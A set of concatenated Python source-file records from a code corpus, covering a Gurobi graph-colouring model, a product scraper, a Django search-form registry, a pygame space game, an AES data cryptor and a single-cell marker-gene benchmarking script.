values({},'{}','{}',{},'{}','{}','{}')\".format(B_no,B_name,B_address,ph_No,email,B_date,cls))\r\n print('You have successfully inserted to menu !\\n')\r\n mydb.commit()\r\n mydb.close()\r\n#insert()\r\n","sub_path":"B_insert.py","file_name":"B_insert.py","file_ext":"py","file_size_in_byte":601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"154225888","text":"import gurobipy\n\nnodes = range(1, 8)\nedges = [(1, 2), (1, 5), (2, 3), (2, 5), (3, 4), (3, 6), (4, 6), (4, 7), (5, 6), (5, 7), (6, 7)]\ncolors = [1, 2, 3, 4]\nmodel = gurobipy.Model()\n\nnodecolors = {(node, color): model.addVar(vtype=gurobipy.GRB.BINARY) for node in nodes for color in colors}\ncolor_usage = {c: model.addVar(vtype=gurobipy.GRB.BINARY) for c in colors}\n\nmodel.addConstrs(\n (nodecolors[node_a, color] + nodecolors[node_b, color] <= 1\n for (node_a, node_b) in edges for color in colors)\n)\n\nmodel.addConstrs(\n (nodecolors[node, color] <= color_usage[color]\n for node in nodes for color in colors)\n)\n\nmodel.addConstrs(\n (gurobipy.quicksum(nodecolors[node, color] for color in colors) == 1 for node in nodes)\n)\n\nmodel.setObjective(gurobipy.quicksum(color_usage[color] for color in colors), sense=gurobipy.GRB.MINIMIZE)\n\nmodel.optimize()\n\nstatus = model.getAttr(\"Status\")\nif status == 2:\n print(\"Number of colors used: \", model.getAttr(\"ObjVal\"))\n for v in nodes:\n for c in colors:\n if nodecolors[v, c].getAttr(\"X\") == 1:\n print(\"Node \"+str(v)+\", color: \", c)\nelse:\n print(\"No optimal solution found.\")\n","sub_path":"files/graphcolor.py","file_name":"graphcolor.py","file_ext":"py","file_size_in_byte":1168,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"604028302","text":"# -*-coding: utf-8 -*-\nimport requests\nimport json\nimport re\nfrom bs4 import BeautifulSoup as bs\n\ndef Sjyp(url):\n res = requests.get(url)\n soup = bs(res.content.decode(res.apparent_encoding), \"html5lib\")\n a = {}\n currency = '\\uffe6'\n a['items'] = {}\n a['items']['url'] = url\n a['items']['title'] = soup.find('title').text\n a['items']['desc'] = soup.find('span', attrs={'id': 'span_cmt'}).text\n try:\n a['items']['original_price'] = soup.find('span', attrs={'class': 'dis ml_3'}).text + currency\n a['items']['price'] = soup.findAll('span', attrs={'class': 'ml_3'})[1].text + currency\n except:\n a['items']['original_price'] = soup.find('li', attrs={'class': 'd_price'}).findAll('span')[-1].text + currency\n a['items']['price'] = a['items']['original_price']\n imgs = soup.findAll('img', attrs={'class': 'zoom brand_zoom'})\n a['items']['primary_image'] = imgs[0].get('src')\n a['items']['images'] = []\n for img in imgs:\n a['items']['images'].append(img.get('src'))\n\n a['specs'] = []\n goodsno = soup.find('input', attrs={'name': 'goodsNumber'}).get('value')\n colorCodes = re.compile('''changeColor\\(\\'(.*)\\',(.*), \\'(.*)\\'\\);''').findall(res.content.decode(res.apparent_encoding))\n i = 0\n for colorCode in colorCodes:\n infos = json.loads(requests.get('http://www.skfashionmall.com/sfmweb/product/changeSizeList.do?goodsNumber=%s&colorCode=%s' % (goodsno, colorCode[0])).text)\n imgs = json.loads(requests.get('http://www.skfashionmall.com/sfmweb/product/changeThumbImage.do?goodsNumber=%s&colorCode=%s' % (goodsno, colorCode[0])).text)\n for info in infos:\n a['specs'].append({})\n a['specs'][i]['attributes'] = {'color': colorCode[2], 'size': info['optionValueNumber']}\n a['specs'][i]['original_price'] = a['items']['original_price']\n a['specs'][i]['price'] = a['items']['price']\n a['specs'][i]['stock'] = info['stockAmount']\n a['specs'][i]['images'] = []\n for img in imgs:\n a['specs'][i]['images'].append('//img.skfashionmall.com/images/upload/' + img['resizing_7'])\n i += 1\n return json.dumps(a)\n\n\nif __name__ == '__main__':\n url = input('Input the url: ')\n print(Sjyp(url))","sub_path":"sjyp_kr/getInfo.py","file_name":"getInfo.py","file_ext":"py","file_size_in_byte":2292,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"6412736","text":"from searchform.utils import import_module\n\n\nclass SearchFormNotRegistered(Exception):\n pass\n\n\nclass SearchFormFilterError(Exception):\n pass\n\n\nclass SearchFormRegistration(object):\n\n def __init__(self, key, name, search_form, filters=[]):\n self.key = key\n self.name = name\n self.search_form = search_form\n self.filters = []\n\n # filter validation\n for filter in filters:\n field = self.search_form.fields.get(filter, None)\n if field is None:\n raise SearchFormFilterError(\"The filter '%s' is not a field \"\n \"of the search form '%s'\"\n % (filter, unicode(self.name)))\n\n options = getattr(field, 'options', None)\n if options is None:\n raise SearchFormFilterError(\"The filter '%s' is not a valid \"\n \"filter because is does not have \"\n \"an options attribute\" % filter)\n\n self.filters.extend(filters)\n\n if not self.filters:\n # auto fill the filters\n for field_name, field in self.search_form.fields.items():\n # we don't use hasattr(field, 'options') to avoid\n # database queries that increases the import time a lot\n if 'options' in dir(field):\n self.filters.append(field_name)\n\n def get_filter_options(self, filter_name):\n if filter_name not in self.filters:\n raise SearchFormFilterError(\"The filter '%s' is not available in \"\n \"this search form registration: '%s'\"\n % (filter_name, unicode(self.name)))\n field = self.search_form.fields[filter_name]\n return [option for option in field.options if option[0] != '']\n\n def can_select_multiple_options(self, filter_name):\n if filter_name not in self.filters:\n raise SearchFormFilterError(\"The filter '%s' is not available in \"\n \"this search form registration: '%s'\"\n % (filter_name, unicode(self.name)))\n field = self.search_form.fields[filter_name]\n for op, label in field.operators:\n if op == 'in':\n return True\n return False\n\n\nclass SearchFormRegistry(object):\n REGISTERING = False\n\n def __init__(self):\n self._registry = []\n\n def register_form(self, search_form, key=None, name=None, filters=[]):\n if key is None:\n key = search_form.__name__.lower()\n\n if name is None:\n name = key\n\n if self.is_registered(key):\n raise ValueError('Another form is already registered '\n 'with the key %s' % key)\n\n setattr(search_form, 'class_name', key)\n registration = SearchFormRegistration(key, name, search_form, filters)\n self._registry.append(registration)\n\n def _get_registration(self, key):\n for registration in self._registry:\n if registration.key == key:\n return registration\n all_registered_keys = [r.key for r in self._registry]\n raise SearchFormNotRegistered(\n 'Search form %s not registered. Options are: %s'\n % (key, ', '.join(all_registered_keys)),\n )\n\n def get_form_class(self, key):\n registration = self._get_registration(key)\n return registration.search_form\n\n def get_filters(self, key):\n registration = self._get_registration(key)\n return registration.filters\n\n def get_filter_options(self, key, filter_name):\n registration = self._get_registration(key)\n return registration.get_filter_options(filter_name)\n\n def can_select_multiple_options(self, key, filter_name):\n registration = self._get_registration(key)\n return registration.can_select_multiple_options(filter_name)\n\n def is_registered(self, key):\n try:\n self.get_form_class(key)\n except SearchFormNotRegistered:\n return False\n else:\n return True\n\n def get_choices(self):\n for registration in self._registry:\n yield (registration.key, registration.name)\n\n def autodiscover(self):\n if SearchFormRegistry.REGISTERING:\n return\n SearchFormRegistry.REGISTERING = True\n\n import imp\n from django.conf import settings\n\n for app in settings.INSTALLED_APPS:\n try:\n app_path = import_module(app).__path__\n except AttributeError:\n continue\n\n # use imp.find_module to find the app's forms.py\n try:\n imp.find_module('forms', app_path)\n except ImportError:\n continue\n\n # import the app's forms.py file\n forms_module = import_module(\"%s.forms\" % app)\n register_forms_func = getattr(forms_module, 'register_search_forms', None)\n if register_forms_func and callable(register_forms_func):\n # do app's search forms registration\n register_forms_func()\n\n # autodiscover was successful, reset loading flag.\n SearchFormRegistry.REGISTERING = False\n\nsearch_form_registry = SearchFormRegistry()\n","sub_path":"lib/python3.6/site-packages/searchform/registry.py","file_name":"registry.py","file_ext":"py","file_size_in_byte":5421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"119993132","text":"import faust\n\napp = faust.App(\n 'hello-world',\n broker='kafka://localhost:9092',\n value_serializer='raw',\n)\n\ngreetings_topic = app.topic('greetings')\n\n\n@app.agent(greetings_topic)\nasync def greet(greetings):\n async for greeting in greetings:\n print(greeting)\n\n\n# @app.agent()\n# async def process(stream):\n# async for values in stream.take(100, within=10): # 100 within 10s\n# print(f'RECEIVED {len(values)}: {values}')\n\n\n# class Withdrawal(faust.Record):\n# account: str\n# amount: float\n\n\n# withdrawals_topic = app.topic('withdrawals', value_type=Withdrawal)\n\n\n# @app.task\n# async def mytask():\n# async for w in withdrawals_topic.stream():\n# print(w.amount)\n\nif __name__ == '__main__':\n app.main()\n","sub_path":"tarmac/scratch/examples/faust_example.py","file_name":"faust_example.py","file_ext":"py","file_size_in_byte":751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"290119720","text":"'''functions needed for both gulordava and one_b models'''\n\nimport random\nimport math\nfrom wordfreq import zipf_frequency\nimport lexicon_generator_wf\n\nLEXICON = lexicon_generator_wf.load_distractor_dict('distractor_list.json')\n\ndef get_unigram_freq(word):\n '''arguments: word - string\n\treturns unigram frequency '''\n raw_freq = zipf_frequency(word,'en') # use wordfreq to get log frequency\n freq=math.floor(math.log(10)*raw_freq) #rescale and floor to match a bin\n if freq>11:\n freq=11\n if freq<2:\n freq=2\n return freq\n\ndef strip_end_punct(word):\n '''take a word, return tuple of word without last end punctuation,\n if any, and end punctuation'''\n if word[-1] in [\".\", \",\", \"!\", \"?\"]:\n return (word[:-1], word[-1])\n return(word, \"\")\n\ndef get_alts(length, freq):\n '''given two numbers (length, frequency), returns a list of words\n with that length and frequency'''\n if length < 4: #adjust length if needed\n length = 4\n if length > 15:\n length = 15\n alts = LEXICON.get((length, freq))\n if alts is None:\n print(\"Trouble finding words with length \"+str(length)+ \" and frequency \"+str(freq))\n else:\n random.shuffle(alts)\n return alts\n\ndef get_alt_nums(word_list):\n ''' given a list of words, returns the average length and average frequency as a tuple'''\n length = 0\n freq = 0\n for i, _ in enumerate(word_list): #find individual length, freq\n word = strip_end_punct(word_list[i])[0]\n length += len(word)\n #print(type(freq))\n freq += get_unigram_freq(word)\n avg_length = round(length/len(word_list)) #take avg and round\n avg_freq = round(freq/len(word_list))\n return(avg_length, avg_freq)\n \n\n","sub_path":"maze_automate/helper_wf.py","file_name":"helper_wf.py","file_ext":"py","file_size_in_byte":1741,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"212603748","text":"# Trip To Earth\n# Copyright Kevin MacPherson <kevin@pixelatedplatypus.com> , 2013\n\nimport pygame\nimport math\nimport random\n\n\n# Flying saucer sprite class\nclass FlyingSaucer(pygame.sprite.Sprite):\n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.image = pygame.image.load(\"flyingsaucer.png\").convert() \n self.image.set_colorkey(white)\n self.rect = self.image.get_rect()\n self.mask = pygame.mask.from_surface(self.image)\n\nclass Asteroid(pygame.sprite.Sprite):\n \n def __init__(self):\n pygame.sprite.Sprite.__init__(self)\n self.rotation = random.randrange(360)\n self.origImage = pygame.image.load(\"asteroid.png\").convert()\n self.image = pygame.transform.rotate(self.origImage, self.rotation)\n self.image.set_colorkey(white) \n self.rect = self.image.get_rect()\n self.mask = pygame.mask.from_surface(self.image)\n\n def update(self, velocity):\n self.rect.x += velocity\n if self.rect.x < -self.rect.width:\n self.reset_position()\n\n def reset_position(self):\n self.rect.x = random.randrange(screenWidth+15, screenWidth+1024, 1)\n self.rect.y = random.randrange(screenHeight-self.rect.height)\n\n# Define some colours\nblack = ( 0, 0, 0)\nwhite = ( 255, 255, 255)\ngreen = ( 0, 255, 0)\nred = ( 255, 0, 0)\nyellow = ( 255, 255, 0)\nlightBlue = ( 27, 224, 198)\ndarkBlue = ( 7, 27, 163)\n\n#Init Game\npygame.init()\n\n#Screen\nscreenWidth = 1024\nscreenHeight = 600\nsize = [screenWidth,screenHeight]\nscreen = pygame.display.set_mode(size)\n\n#Sprite groups\nasteroid_list = pygame.sprite.Group()\nall_sprites = pygame.sprite.Group()\n\n#Title\npygame.display.set_caption(\"Trip to Earth\")\n\n#Flying Saucer\nflyingSaucer = FlyingSaucer()\nall_sprites.add(flyingSaucer)\n\n#Asteroids\nfor i in range(3):\n asteroid = Asteroid()\n asteroid.rect.x = random.randrange(screenWidth+15, screenWidth+1024, 1)\n asteroid.rect.y = random.randrange(screenHeight-asteroid.rect.height)\n\n asteroid_list.add(asteroid)\n all_sprites.add(asteroid)\n\n#Stars\nstarList = []\nfor i in range(100):\n x = random.randrange(0,screenWidth)\n y = random.randrange(0,screenHeight)\n starList.append([x,y])\n\n#Screen size\ncenterX = screenWidth//2-(flyingSaucer.rect.width//2)\ncenterY = screenHeight//2-(flyingSaucer.rect.height//2)\nstarVelocity = -5\nasteroidVelocity = -7\nfsVelocityX = 0\nfsVelocityY = 0\nloopCount = 0\n\n\n# Loop until the user clicks the close button\ndone = False\n\n# Used to manage how fast the screen updates.\nclock = pygame.time.Clock()\n\n# ----------- main program loop ----------\nwhile done == False:\n # All event processing should go below this line\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n done = True\n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_UP:\n fsVelocityY = -3\n if event.key == pygame.K_DOWN:\n fsVelocityY = 3\n if event.key == pygame.K_LEFT:\n fsVelocityX = -3\n if event.key == pygame.K_RIGHT:\n fsVelocityX = 3\n if event.type == pygame.KEYUP:\n if event.key == pygame.K_UP:\n fsVelocityY = 0\n if event.key == pygame.K_DOWN:\n fsVelocityY = 0\n if event.key == pygame.K_LEFT:\n fsVelocityX = 0\n if event.key == pygame.K_RIGHT:\n fsVelocityX = 0\n # All event processing should go above this line\n\n # All game logic should go below this line\n\n for asteroid in pygame.sprite.spritecollide(flyingSaucer, asteroid_list, False):\n print(\"Collision Detected!\")\n if pygame.sprite.collide_mask(flyingSaucer, asteroid):\n asteroid.reset_position()\n\n if centerY < 0:\n centerY = 0\n if centerY > screenHeight - (flyingSaucer.rect.height):\n centerY = screenHeight - (flyingSaucer.rect.height)\n if centerX < 0:\n centerX = 0\n if centerX > screenWidth - flyingSaucer.rect.width:\n centerX = screenWidth - flyingSaucer.rect.width\n\n flyingSaucer.rect.x = centerX\n flyingSaucer.rect.y = centerY\n asteroid_list.update(asteroidVelocity)\n\n # All game logic should go above this line\n\n # All code to draw should go below this line\n # First clear the screen to white\n screen.fill(black)\n\n # Draw the star field\n for i in range(len(starList)):\n pygame.draw.circle(screen, white, starList[i], 2)\n starList[i][0] += starVelocity\n\n if starList[i][0] < 0:\n x=random.randrange(screenWidth + 10, screenWidth + 50)\n starList[i][0] = x\n y=random.randrange(0, screenHeight)\n starList[i][1] = y\n \n all_sprites.draw(screen)\n\n centerY += fsVelocityY\n centerX += fsVelocityX\n\n # All code to draw should go above this line\n\n # Updates the screen with what we drew\n pygame.display.flip()\n \n # Limit to 20 frames per second\n clock.tick(20)\n\n# Close the window and quit\n# If you forget this line the program will crash on exit if run from IDLE\npygame.quit()\n\n \n","sub_path":"tripToEarth.py","file_name":"tripToEarth.py","file_ext":"py","file_size_in_byte":5161,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"347642016","text":"import os\nimport glob\nimport pandas as pd\nimport json\nfrom pprint import pprint\n\ndef json_to_csv(path):\n print('in the function')\n print('path is ', path)\n json_list = []\n for json_file in glob.glob(path + '/*.json'):\n specs = json.load(open(json_file))\n for member in specs['objects']:\n value = (specs['filename'],\n int(specs['image_w_h'][0]),\n int(specs['image_w_h'][1]),\n member['label'],\n int(member['x_y_w_h'][0]),\n int(member['x_y_w_h'][1]),\n int(member['x_y_w_h'][2]),\n int(member['x_y_w_h'][3])\n )\n json_list.append(value)\n column_name = ['filename', 'width', 'height', 'class', 'xmin', 'ymin', 'xmax', 'ymax']\n json_df = pd.DataFrame(json_list, columns=column_name)\n return json_df\n\ndef main():\n image_path = os.path.join('~/data/bike/tagged/training/', 'annotations')\n print(image_path)\n json_df = json_to_csv(image_path)\n json_df.to_csv('oncoming_labels.csv', index=None)\n print('Successfully converted json to csv.')\n\n\nmain()\n","sub_path":"json_to_csv.py","file_name":"json_to_csv.py","file_ext":"py","file_size_in_byte":1098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"596755203","text":"from Crypto.Cipher import AES\nfrom Crypto import Random\nfrom binascii import b2a_hex, a2b_hex\nimport pickle\nfrom utils import *\nimport time\nimport getpass\n\ndef padding(text, block_size):\n text = text + b'\\0' * ((block_size - len(text)) % block_size)\n return text\n\nclass Cryptor(object):\n def __init__(self, path, name, mode=AES.MODE_CBC,\\\n *args, **kwargs):\n self.exipire_time = 300\n self.start_time = time.time()\n self._db = DataBase(path, name)\n self.key, self.mode = self.get_key(), mode\n self.help()\n self.display_items()\n\n def get_key(self):\n while True:\n cp.wrn('you must remember the key, otherwise lose all data')\n key = getpass.getpass('[I N] key: ')\n if len(key) == 0:\n continue\n return (key * (32 // len(key) + 1))[:32]\n return None\n\n\n def help(self):\n cp(\n '(#b) -- order -------------------------------------------\\n'\n '(#y) 1. cryptor.display_items() (#b) display all items\\n'\n '(#y) 2. cryptor.load(id=x) (#b) load item (ID: x)\\n'\n '(#y) 3. cryptor.dump(data, name) (#b) save data \\n'\n '(#y) 4. cryptor.help() (#b) that\\'s me (#g):)\\n'\n '(#b) ----------------------------------------------------\\n'\n )\n\n def items(self):\n raw_items = self._db.select('information', keys=['id', 'name'],\\\n return_dict=True)\n for item in raw_items:\n item['name'] = self.decrypt(item['name'])\n\n return raw_items\n\n def display_items(self):\n items = self.items()\n cp('(#y)'+'-'*64)\n for item in items:\n id = item['id']\n name = item['name']\n cp(\n ' (#b)id(##): (#y){}(##) (#b)name(##): (#y){}(##)'.format(id, name)\n )\n cp('(#y)'+'-'*64)\n\n def __iter__(self):\n for name in self.items():\n yield name, self[name]\n\n def __getitem__(self, name):\n if name in self.items():\n return self.load(name)\n return None\n\n def __setitem__(self, name, data):\n self.dump(name, data)\n\n def remove(self, name):\n super().remove(name)\n \n def expire(self):\n if time.time() - self.start_time > self.exipire_time:\n cp.wrn('key expired')\n self.key = self.get_key()\n self.start_time = time.time()\n return None\n\n\n def encrypt(self, data):\n self.expire()\n iv = Random.new().read(AES.block_size)\n text = padding(pickle.dumps(data), AES.block_size)\n cryptor = AES.new(self.key, self.mode, iv)\n text = cryptor.encrypt(text)\n return iv+text\n\n def decrypt(self, data):\n self.expire()\n iv = data[0:AES.block_size]\n code = data[AES.block_size:]\n cryptor = AES.new(self.key, self.mode, iv)\n data = cryptor.decrypt(code)\n return pickle.loads(data)\n\n def dump(self, data, name, *args, **kwargs):\n data = self.encrypt(data)\n name = self.encrypt(name)\n self._db.add_row('information', {'data': data, 'name': name})\n\n\n def load(self, id, *args, **kwargs):\n item, = self._db.select('information', keys=['name', 'data'],\\\n limitation={'id': id})\n for key in item:\n item[key] = self.decrypt(item[key])\n return item\n","sub_path":"cryptor.py","file_name":"cryptor.py","file_ext":"py","file_size_in_byte":3446,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"647457090","text":"# TODO:\n# 1. load all mca data, with specific clusters\n# 2. do diffexp using standard uncurl-app pipelines, take top k genes per cell type, \n\n# 1. load data\nimport random\nimport numpy as np\nimport scipy.io\nfrom scipy import sparse\nimport os\nimport pickle\n\npath = 'cell_type_matrices_mca'\nall_matrices = []\nall_labels = []\nfor f in os.listdir(path):\n file_path = os.path.join(path, f)\n label = f.split('.')[0]\n print(label)\n data = scipy.io.mmread(file_path).T\n data = sparse.csc_matrix(data)\n all_matrices.append(data)\n all_labels.extend([label]*data.shape[1])\n print('num cells: ', data.shape[1])\n\nall_matrices = sparse.hstack(all_matrices)\nall_labels = np.array(all_labels)\n\nprint(all_matrices.shape)\nprint(all_labels.shape)\n\n# save all_matrices, all_labels\nscipy.io.mmwrite('mca_fine_all_matrices.mtx', all_matrices)\nnp.savetxt('mca_fine_all_labels.txt', all_labels, fmt='%s')\n\n############################################################################################\n\ngenes = np.loadtxt('genes_mca.txt', dtype=str)\nall_matrices = scipy.io.mmread('mca_fine_all_matrices.mtx')\nall_labels = np.loadtxt('mca_fine_all_labels.txt', dtype=str, delimiter='##')\n\n# 2. calculate diffexp for each cluster\nfrom uncurl_analysis import gene_extraction\nimport time\nt0 = time.time()\nscores_t, pvals_t = gene_extraction.one_vs_rest_t(all_matrices, all_labels, eps=0.1, test='t')\nprint('diffexp time for t test:', time.time() - t0)\nt0 = time.time()\n#scores_u, pvals_u = gene_extraction.one_vs_rest_t(all_matrices, all_labels, eps=0.1, test='u')\nprint('diffexp time for u test:', time.time() - t0)\n\nwith open('mca_fine_t_scores.pkl', 'wb') as f:\n pickle.dump(scores_t, f)\nwith open('mca_fine_t_pvals.pkl', 'wb') as f:\n pickle.dump(pvals_t, f)\n#with open('mca_fine_u_pvals.pkl', 'wb') as f:\n# pickle.dump(pvals_u, f)\n\n###########################################################################################\n# 3. for each cluster, run cellmesh and cellmarker\n\nwith open('mca_fine_t_scores.pkl', 'rb') as f:\n scores_t = pickle.load(f)\nwith open('mca_fine_t_pvals.pkl', 'rb') as f:\n pvals_t = pickle.load(f)\n#with open('mca_fine_u_pvals.pkl', 'rb') as f:\n# pvals_u = pickle.load(f)\nall_labels = np.loadtxt('mca_fine_all_labels.txt', dtype=str, delimiter='##')\ngenes = np.loadtxt('genes_mca.txt', dtype=str)\n\n# get gene names - save ranked genes for each cell type\ntop_genes_ratio = {}\nfor cell, cell_genes in scores_t.items():\n top_genes_ratio[cell] = [genes[i[0]] for i in cell_genes]\nimport pandas as pd\ntop_genes_ratio = pd.DataFrame(top_genes_ratio)\ntop_genes_ratio.to_csv('mca_fine_top_genes_ratio.csv')\n\nimport cellmesh\nfrom cellmesh import prob_method, gsva_ext_method\nimport cellmarker\nfrom cellmarker import prob_method as cellmarker_prob_method\nfrom mouse_cell_query import query_aggregation\nlabels_set = set(all_labels)\nlabel_results = {}\nlabel_cell_types = {}\nn_genes = [50]\ngene_methods = ['ratio']#, 't', 'u']\nquery_methods = ['cellmarker', 'cellmarker_prob','panglao', 'cellmesh', 'cellmesh_tfidf', 'prob', 'gsva', 'random_mesh', 'tissue_mesh_prob']#, 'aggregate', 'aggregate_2']\nall_species = ['human', 'mouse', 'both']\nall_mesh_cell_id_names = cellmesh.get_all_cell_id_names(include_cell_components=False)\nall_mesh_terms = [x[1] for x in all_mesh_cell_id_names]\nfor label in labels_set:\n for n_gene in n_genes:\n for method in gene_methods:\n for query_method in query_methods:\n for species in all_species:\n if method == 'ratio':\n top_genes = [genes[x[0]] for x in scores_t[label][:n_gene]]\n elif method == 't':\n top_genes = [genes[x[0]] for x in pvals_t[label][:n_gene]]\n elif method == 'u':\n top_genes = [genes[x[0]] for x in pvals_u[label][:n_gene]]\n top_genes = [x.upper() for x in top_genes]\n if query_method == 'cellmarker':\n results = cellmarker.hypergeometric_test(top_genes, species=species)\n top_cells = [x[0] for x in results]\n elif query_method == 'cellmarker_prob':\n results = cellmarker_prob_method.prob_test(top_genes, species=species)\n top_cells = [x[0] for x in results]\n elif query_method == 'panglao':\n results = cellmarker.hypergeometric_test(top_genes, species=species, db_dir=cellmarker.PANGLAO_DB_DIR)\n top_cells = [x[0] for x in results]\n elif query_method == 'cellmesh':\n results = cellmesh.hypergeometric_test(top_genes, species=species)\n top_cells = [x[1] for x in results]\n elif query_method == 'cellmesh_tfidf':\n results = cellmesh.normed_hypergeometric_test(top_genes, species=species)\n top_cells = [x[1] for x in results]\n elif query_method == 'aggregate':\n results = query_aggregation.cellmarker_cellmesh_hypergeometric_test(top_genes)\n top_cells = [x[1] for x in results[1:]]\n results = results[1:]\n elif query_method == 'aggregate_2':\n results = query_aggregation.cellmarker_cellmesh_tfidf_hypergeometric_test(top_genes)\n top_cells = [x[1] for x in results[1:]]\n results = results[1:]\n elif query_method == 'prob':\n results = prob_method.prob_test(top_genes, species=species)\n top_cells = [x[1] for x in results]\n elif query_method == 'gsva':\n results = gsva_ext_method.gsva_ext_test(top_genes, species=species)\n top_cells = [x[1] for x in results]\n elif query_method == 'tissue_mesh_prob':\n results = prob_method.prob_test(top_genes, db_dir=cellmesh.ANATOMY_DB_DIR, species=species)\n top_cells = [x[1] for x in results]\n elif query_method == 'random_mesh':\n # select a random MeSH term\n top_cells = random.sample(all_mesh_terms, 10)\n results = top_cells\n #label_results[(label, n_gene, method, query_method, species)] = [x[:-1] for x in results]\n label_cell_types[(label, n_gene, method, query_method, species)] = top_cells\n print(label, n_gene, method, query_method, species, top_cells[:10])\n\n\nwith open('mca_fine_cellmesh_query_top_cells.pkl', 'wb') as f:\n pickle.dump(label_cell_types, f)\n\n\n############################################################################################\n\nimport pandas as pd\nwith open('mca_fine_cellmesh_query_top_cells.pkl', 'rb') as f:\n label_cell_types = pickle.load(f)\n\n# TODO: how to compare accuracy?\n# TODO: convert MCA names to tabula muris\n# can we use a precision-recall curve?\n# load the hand-created mappings file\ncell_types_map = {}\ncell_types_alternate_map = {}\nwith open('cell_ontology_to_cellmesh_tabula_muris.tsv') as f:\n l0 = f.readline()\n for line in f.readlines():\n line_data = [x.strip() for x in line.split('\\t')]\n name = line_data[1]\n primary_cellmesh_name = line_data[2]\n alternate_cellmesh_names = line_data[3:]\n use_cellmesh = line_data[0]\n if use_cellmesh != 'n':\n cell_types_map[name] = primary_cellmesh_name\n cell_types_alternate_map[name] = alternate_cellmesh_names\n\nwith open('tm_cell_onto_alternate_names.tsv') as f:\n l0 = f.readline()\n for line in f.readlines():\n line_data = [x.strip() for x in line.split('\\t')]\n name = line_data[1]\n alternate_cell_type_names = line_data[2:]\n if name in cell_types_alternate_map:\n cell_types_alternate_map[name].extend(alternate_cell_type_names)\n\nmca_cell_names_to_cellmarker = pd.read_table('mca_cell_names_to_cellmarker.tsv')\nmca_cell_names_map = {}\nimport cellmesh\nfor i, row in mca_cell_names_to_cellmarker.iterrows():\n # TODO: match with cell_types_map and cell_types_alternate_map\n cell_name = row['mca_cell_name']\n if isinstance(row['tabula_muris'], str):\n alt_name = row['tabula_muris'].strip()\n mca_cell_names_map[cell_name] = cell_types_alternate_map[alt_name]\n mca_cell_names_map[cell_name].append(cell_types_map[alt_name])\n if isinstance(row['cellmarker_cellonto'], str):\n alt_name = row['cellmarker_cellonto'].strip()\n try:\n mca_cell_names_map[cell_name].append(alt_name)\n except:\n mca_cell_names_map[cell_name] = [alt_name]\n mca_cell_names_map[cell_name].extend([x[1] for x in cellmesh.cellonto_to_cellmesh(alt_name)])\n if isinstance(row['cellmesh'], str):\n alt_name = row['cellmesh'].strip()\n try:\n mca_cell_names_map[cell_name].append(alt_name)\n except:\n mca_cell_names_map[cell_name] = [alt_name]\n mca_cell_names_map[cell_name].extend([x[1] for x in cellmesh.cellonto_to_cellmesh(alt_name)])\n\n# TODO: calculate accuracy of each label list\nlabel_accuracies = {}\nlabel_extended_accuracies = {}\nfor key, value in label_cell_types.items():\n name = key[0]\n name = name.split('(')[0].split('_')[0].strip()\n name = name.capitalize().strip()\n if name.endswith('s'):\n name = name[:-1]\n accuracies = []\n extended_accuracies = []\n if name not in mca_cell_names_map:\n continue\n for v in value:\n if v.lower() in name.lower() or name.lower() in v.lower():\n accuracies.append(1)\n extended_accuracies.append(1)\n else:\n accuracies.append(0)\n if v in mca_cell_names_map[name]:\n extended_accuracies.append(0.5)\n else:\n extended_accuracies.append(0)\n label_accuracies[key] = accuracies\n label_extended_accuracies[key] = extended_accuracies\n\n\n\ndef calculate_precision_recall_curve(accuracies, n_relevant=1, use_extended=False):\n \"\"\"\n https://nlp.stanford.edu/IR-book/html/htmledition/evaluation-of-unranked-retrieval-sets-1.html\n https://nlp.stanford.edu/IR-book/html/htmledition/evaluation-of-ranked-retrieval-results-1.html\n \"\"\"\n precision = []\n recall = []\n mean_avg_precision = 0\n num_correct = 0\n for i, a in enumerate(accuracies):\n if a == 1:\n num_correct += 1\n if use_extended and a > 0:\n num_correct += 1\n precision.append(float(min(num_correct, n_relevant))/(i+1))\n recall.append(float(min(num_correct, n_relevant))/n_relevant)\n prev_recall = 0\n for p, r in zip(precision, recall):\n mean_avg_precision += (r - prev_recall)*p\n prev_recall = r\n return precision, recall, mean_avg_precision\n\n# calculate precision-recall curves for all keys\nlabel_map = {}\nfor key, val in label_extended_accuracies.items():\n label_map[key] = calculate_precision_recall_curve(val, use_extended=True)[2]\n\n# take mean over cell types\n# average MAP for all methods, over all datasets\nmap_methods = {}\nfor key, val in label_map.items():\n method_key = key[1:]\n try:\n map_methods[method_key].append(val)\n except:\n map_methods[method_key] = [val]\n\nmap_method_means = {key: np.mean(val) for key, val in map_methods.items()}\n\nwith open('mca_fine_MAP_method_means.pkl', 'wb') as f:\n pickle.dump(map_method_means, f)\n\nwith open('mca_fine_MAP_method_means.pkl', 'rb') as f:\n map_method_means = pickle.load(f)\n\n# convert map_method_means to a pandas dict\nimport pandas as pd\n\nmap_list = [key + (v,) for key, v in map_method_means.items()]\nmap_list.sort()\nmap_method_means = pd.DataFrame(map_list, columns=['n_genes', 'gene_method', 'query_method', 'species', 'mean_average_precision'])\n\nmap_cell_types_list = [key + (v,) for key, v in label_map.items()]\nmap_cell_types_list.sort()\nmap_cell_types = pd.DataFrame(map_cell_types_list, columns=['cell_type', 'n_genes', 'gene_method', 'query_method', 'species', 'mean_average_precision'])\n\nmap_method_means.to_csv('mca_fine_MAP_method_means.csv', index=None)\nmap_cell_types.to_csv('mca_fine_MAP_cell_types.csv', index=None)\n\n#####################################################################################################################\n\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\nmap_method_means = pd.read_csv('mca_fine_MAP_method_means.csv')\nmap_cell_types = pd.read_csv('mca_fine_MAP_cell_types.csv')\n# load scQuery 